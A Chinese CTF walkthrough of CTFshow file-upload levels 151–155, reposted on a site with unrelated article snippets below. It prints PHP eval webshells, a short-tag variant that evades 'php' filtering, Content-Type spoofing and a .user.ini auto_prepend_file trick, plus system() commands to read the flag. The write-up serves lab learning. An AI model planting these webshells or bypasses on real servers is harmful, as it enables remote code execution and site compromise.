CTFshow之文件上传web入门151关-161关解密。包教包会!!!!

 

这段时间一直在搞文件上传相关的知识,正好把ctf的题目做做写写给自字做个总结!

不过有一个确定就是所有的测试全部是黑盒测试,无法从代码层面和大家解释,我找个时间把upload-labs靶场做一做给大家讲讲白盒的代码审计

一、实验准备

1.ctf网站:

www.ctf.show

2.工具:

burpsuite抓包工具、hackbar工具(如果大家没有可以私我)、firefox(火狐浏览器)

二、实验过程

(一)第151关 -- 前端验证

前提:我们已知此处可以上传图片类型文件

对于前端验证,我们常用的有两种方法进行绕过:

1.在右键检查->设置处启用禁止js

不过此方法建议使用虽然我们有时候能够绕过,但是当此网页含有大量使用js编写的代码时,会导致网页部分功能瘫痪!汗颜,ctf也失效了,所以还是老老实实使用第二种方法

2.将后门以.jpg/.png/.gif等允许格式发送,使用bp抓包修改后缀

上传成功!

但是此时可能会有小可爱问呐:哎哎哎,你咋知道就是前端验证呢?说出你的证据!

我们右键查看网页源码,查看到js源码过滤逻辑,只允许我们上传.png文件

3.利用后门文件

一句话木马,上下两种无论带不带引号均可以:

<?php @eval($_POST['ws'])?>

<?php @eval($_POST[ws])?>

此时我们存在两种方法(此处我们统一使用第2中方法):

(1)通过蚁剑连接寻找flag文件

payload:

https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/upload/1.php

连接密码(因人而异):

ws

(2)直接通过hackbar发post包利用system()函数执行

post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!

(二)第152关 -- 不严谨的后端验证

1.上传后门及分析

此处考察我们content-type验证为:image/png、image/gif、image/jpg

传输正确文件抓包,content-type为image/pnf

发送一句话木马,修改content-type值为:image/png,此处注意一下,我直接上传.php文件发现无法通过,定睛一看才发现前端验证还没关,汗颜!上传1.png的木马

上传成功!

2.利用后门

与151关类似,我们使用第二种方法,通过hackbar直接发包利用函数的方式获取flag

payload:

https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.phphttps://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php

post data:ws=system('ls ../');

post data:ws=system("tac ../flag.php");

成功!

(三)第153关 -- 利用php中.user.ini文件进行解析

我们尝试使用151关和152关的思路进行解题,发现无法实现,继而想到后端是否过滤大小写,抓包后将1.png文件改成1.pHp,发现能够上传成功,但是无法利用

突然崩溃,但是!.user.ini文件出现了,正如apache服务中的.htaccess文件!

1. .user.ini文件特性

当网站进行扫描时,会将.user.ini文件指向路径内容包含在首页代码处(如index.php、index.html等),使用参数auto_prepend_file(包含至首页文件头部)和auto_append_file(包含在首页文件尾部)进行配置

例如:auto_prepend_file=1.png //将1.png文件内容包含在首页文件中,“=”后紧跟需要包含文件路径

所以,本题的解题思路:

先将.user.ini文件上传至upload目录处,并且在其中写入auto_prepend_file=1.png,紧接着上传1.png格式一句话代码,最后访问payload即可

2.上传.user.ini文件(使用bp中repaeater重发器功能进行上传)

内容:auto_prepend_file=1.png

上传成功

3.上传1.png格式一句话木马

上传成功!

4.利用

首先访问..upload/index.php触发.ujser.ini文件将1.png内容写入index.php

paylaod:https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.phphttps://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php

其次,操作如上述两关


https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php(四)第154关 -- 内容过滤

执行思路如153关,但是在上传1.png文件时注意所过滤的内容

1.上传.user.ini文件

(具体不在进行演示与上述153关相同)

2.上传1.png木马文件寻找过滤内容

过滤内容:php

经过多次尝试发包,当文件内容不包含php字眼时可以上传成功,所以过滤内容为php

所以我们的问题变成如何在不写入php字眼时传入后门?提供方式如下:

paylaod:<?=eval($_POST['ws']);?>

上传成功

3.利用后门

是骡子是马我们拉出来遛一遛,进行前述关卡利用操作

首先访问首页文件触发.user.ini将1.png内容写入,触发后门

payload:https://8d5042ac-a58e-46a4-82cf-90dd07ccc04a.challenge.ctf.show/upload/index.php

post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!

(五)第155关 -- 内容过滤

整体思路与154关一样,只是过滤内容不一样,所以我们此关着重关注测试所过滤的内容!

1.上传.user.ini文件

内容:auto_prepend_file=1.png

2.测试过滤内容

发现仅仅去掉php即可成功发送(妈呀,那不是直接和154关一样啦!)

过滤内容:php

paylaod:<?=eval($_POST['ws']);?>

3.利用(与154一致)

访问../upload/index.php触发->寻找flag.php文件所在位置->查看flag.php文件内容

成功!

先写到这,明天继续!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/13560.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024-5-23 石群电路-14

2024-5-23&#xff0c;星期四&#xff0c;22:20&#xff0c;天气&#xff1a;晴&#xff0c;心情&#xff1a;晴。今天没有什么重要的事情发生&#xff0c;心情一如既往的平静&#xff0c;距离返校假期还有两天~~~。 今天观看了石群老师电路基础课程的第23/24个视频&#xff0…

Flutter 中的 AnimatedThere 小部件:全面指南

Flutter 中的 AnimatedThere 小部件&#xff1a;全面指南 在Flutter中&#xff0c;动画是增强用户体验的强大工具。虽然Flutter没有一个名为AnimatedThere的官方小部件&#xff0c;但我们可以根据常见的动画模式来构建一个类似的自定义动画效果。本文将指导您如何使用Flutter的…

Python 安装 ONNX Runtime (ORT)

1. Python 安装 ONNX Runtime 安装cpu版的 onnx runtime&#xff1a; pip install onnxruntime 安装gpu版的 onnx runtime&#xff08;cuda 11.x&#xff09;&#xff1a;(默认安装适用于cuda 11.8 的onnx runtime) pip install onnxruntime-gpu 安装gpu版的 onnx runtime…

真实案例分享,终端pc直接telnet不到出口路由器。

1、背景信息 我终端pc的网卡地址获取的网关是在核心交换机上&#xff0c;在核心交换机上telnet出口路由器可以实现。 所有终端网段都不能telnet出口路由器&#xff0c;客户希望能用最小的影响方式进行解决。 2、现有配置信息 终端的无线和有线分别在两个网段中&#xff0c;…

【课后练习分享】Java用户注册界面设计和求三角形面积的图形界面程序

目录 java编程题&#xff08;每日一练&#xff09;&#xff1a; 问题一的答案代码如下&#xff1a; 问题一的运行截图如下&#xff1a; 问题二的答案代码如下&#xff1a; 问题二的运行截图如下&#xff1a; java编程题&#xff08;每日一练&#xff09;&#xff1a; 1.…

大数据量MySQL的分页查询优化

目录 造数据查看耗时优化方案总结 造数据 我用MySQL存储过程生成了100多万条数据&#xff0c;存储过程如下。 DELIMITER $$ USE test$$ DROP PROCEDURE IF EXISTS proc_user$$CREATE PROCEDURE proc_user() BEGINDECLARE i INT DEFAULT 1;WHILE i < 1000000 DOINSERT INT…

【安装笔记(目录)】

安装笔记-系列文章目录 第一章 Windows 工具 [1001] Optimizer &#xff1a;一款高级配置实用工具&#xff0c;旨在增强你在Windows上的隐私和安全性。 [1002] WSL2&#xff1a;适用于 Linux 的 Windows 子系统 (WSL) 可让开发人员直接在 Windows 上按原样运行 GNU/Linux 环境…

力扣226.翻转二叉树101.对称二叉树

解决二叉树的问题&#xff0c;经常要习惯从递归角度思考 左子树/右子树是否具备某属性、是否属于什么类型&#xff08;和题目要求的判断当前树是否xxx一样&#xff09;&#xff1b; 对左/右子树进行什么操作&#xff08;和题目要求的对当前树的操作一样&#xff09;。 226.翻转…

提权方式及原理汇总

一、Linux提权 1、SUID提权 SUID&#xff08;设置用户ID&#xff09;是赋予文件的一种权限&#xff0c;它会出现在文件拥有者权限的执行位上&#xff0c;具有这种权限的文件会在其执行时&#xff0c;使调用者暂时获得该文件拥有者的权限。 为可执行文件添加suid权限的目的是简…

解决SpringBoot使用@Transactional进行RestTemplate远程调用导致查询数据记录为null的bug

开启事务过程中&#xff0c;如果远程调用查询当前已经开启但没有提交的事务&#xff0c;就会查不到数据。 示例代码 import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.transaction.annotation.Transactional; import o…

二叉树求解大小操作详解

目录 一、求所有结点个数 1.1 递归思路 1.2 递归分支图 1.3 递归栈帧图 1.4 C语言实现 二、求叶子结点个数 2.1 递归思路 2.2 递归分支图 2.3 递归栈帧图 2.4 C语言实现 三、求第K层的结点个数 3.1 递归思路 3.2 递归分支图 3.3 递归栈帧图 3.4 C语言实现 四、求…

【python】使用函数名而不加括号是什么情况?

使用函数名而不加括号通常是为了表示对函数本身的引用&#xff0c;而不是调用函数。这种用法通常出现在下面这几种情况&#xff1a; 作为回调函数传递&#xff1a;将函数名作为参数传递给其他函数&#xff0c;以便在需要时调用该函数。例如&#xff0c;在事件处理程序或高阶函数…

冯喜运:5.24现货黄金趋势解读,黄金原油行情分析及操作建议

【黄金消息面分析】&#xff1a;美国劳工部公布的最新数据显示&#xff0c;截至5月18日的一周内&#xff0c;首次申请失业救济人数下降至21.5万人&#xff0c;创下自去年9月以来的最大降幅。数据公布后&#xff0c;现货黄金短线下挫6美元&#xff0c;报2362.71美元/盎司。这表明…

2024受欢迎的便签app是哪个

在繁忙的工作和生活中&#xff0c;便签app成为了我们不可或缺的小助手。2024年&#xff0c;随着人们对高效工作和生活品质的追求&#xff0c;选择一款功能强大且用户友好的便签app显得尤为重要。在众多选择中&#xff0c;敬业签以其出色的记录与提醒功能&#xff0c;脱颖而出&a…

前端发版如何告知用户

在具体项目场景中&#xff0c;前端发版后&#xff0c;用户不手动刷新&#xff0c;则感知不到更新&#xff1b;经常会出现&#xff1a;前端更新了某个功能&#xff0c;导致旧功能使用出现问题&#xff0c;而被用户提单&#xff1b; 关于这个问题有多种解决方式&#xff1a; We…

Python知识详解【1】~{正则表达式}

正则表达式是一种用于匹配字符串模式的文本工具&#xff0c;它由一系列普通字符和特殊字符组成&#xff0c;可以非常灵活地描述和处理字符串。以下是正则表达式的一些基本组成部分及其功能&#xff1a; 普通字符&#xff1a;大多数字母和数字在正则表达式中表示它们自己。例如…

指针,指针变量,引用,取地址符,malloce()函数使用,C中“—>” 和“ . ” 作用与区别

目录 一&#xff1a;指针,指针变量&#xff0c;引用&#xff0c;取地址符&#xff1a; 前提 &#xff1a; 1.“ * ” 的两种用途 2." & “的两种用途 2.1&#xff1a;引用 2.2&#xff1a;取地址 补充&#xff1a; 二 : malloc(),动态申请地址空间 1.原型定义…

Dubbo生态之初识dubbo协议

1.RPC框架 在java的发展中&#xff0c;随着业务的越来越庞大&#xff0c;单体架构的工作繁琐且耦合度高&#xff0c;因此单体架构过渡到了分布式架构&#xff0c;而分布式架构就必然涉及到各个服务之间的远程通信(RPC框架)&#xff0c;RPC框架如图所示: 工作流程: a.客户端调…

查看当前Shell系统环境变量

查看当前Shell系统环境变量 查看命令 env效果 查看Shell变量(系统环境变量自定义变量函数) 命令 set效果 常用系统环境变量 变量名称含义PATH与windows环境变量PATH功能一样&#xff0c;设置命令的搜索路径&#xff0c;以冒号为分割HOME当前用户主目录&#xff1a;/rootSH…

有道:一季度业绩超市场预期,生成式AI商业化落地进程加快

5月23日&#xff0c;教育科技公司网易有道&#xff08;NYSE&#xff1a;DAO&#xff09;公布了2024年第一季度未经审计的财务报告。报告期内&#xff0c;受益于“AI”加“教育”双轮驱动&#xff0c;业绩表现超市场预期&#xff0c;业务健康度大幅改善。 财报显示&#xff0c;…